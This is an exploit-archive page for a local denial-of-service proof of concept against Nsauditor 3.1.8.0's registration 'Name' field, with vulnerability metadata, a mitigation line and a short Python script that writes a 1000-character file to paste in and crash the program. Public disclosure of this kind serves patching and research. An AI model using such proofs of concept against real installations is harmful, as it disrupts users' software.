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vendor:
Nsauditor Network Security Auditor
by:
SajjadBnd
7.5
CVSS
HIGH
Denial of Service (DoS) Local
400
CWE
Product Name: Nsauditor Network Security Auditor
Affected Version From: 3.1.8.0
Affected Version To: 3.1.8.0
Patch Exists: YES
Related CWE: N/A
CPE: a:nsauditor:nsauditor_network_security_auditor
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 - Pro
2019

Nsauditor 3.1.8.0 – ‘Name’ Denial of Service (PoC)

Nsauditor Network Security Auditor is a powerful network security tool designed to scan networks and hosts for vulnerabilities, and to provide security alerts. A malicious user can create a file with a large number of characters and paste it into the 'Name' field of the 'Register -> Enter Registration Code' window, resulting in a denial of service.

Mitigation:

Ensure that the application is updated to the latest version and that all input is validated and sanitized.
Source

Exploit-DB raw data:

# Exploit Title: Nsauditor 3.1.8.0 - 'Name' Denial of Service (PoC)
# Discovery by: SajjadBnd
# Date: 2019-11-30
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Tested Version: 3.1.8.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 - Pro

# About App
# Nsauditor Network Security Auditor is a powerful network security tool designed to scan networks and hosts for vulnerabilities, 
# and to provide security alerts.Nsauditor network auditor checks enterprise network for all potential methods that 
# a hacker might use to attack it and create a report of potential problems that were found , Nsauditor network auditing 
# software significantly reduces the total cost of network management in enterprise environments by enabling 
# IT personnel and systems administrators gather a wide range of information from all the computers in the network without 
# installing server-side applications on these computers and create a report of potential problems that were found.

# PoC
# 1.Run the python script, it will create a new file "dos.txt"
# 3.Run Nsauditor and click on "Register -> Enter Registration Code"
# 2.Paste the content of dos.txt into the Field: 'Name'
# 6.click 'ok'
# 5.Crashed ;)


#!/usr/bin/env python
buffer = "\x41" * 1000
try:
    f=open("dos.txt","w")
    print "[+] Creating %s bytes DOS payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"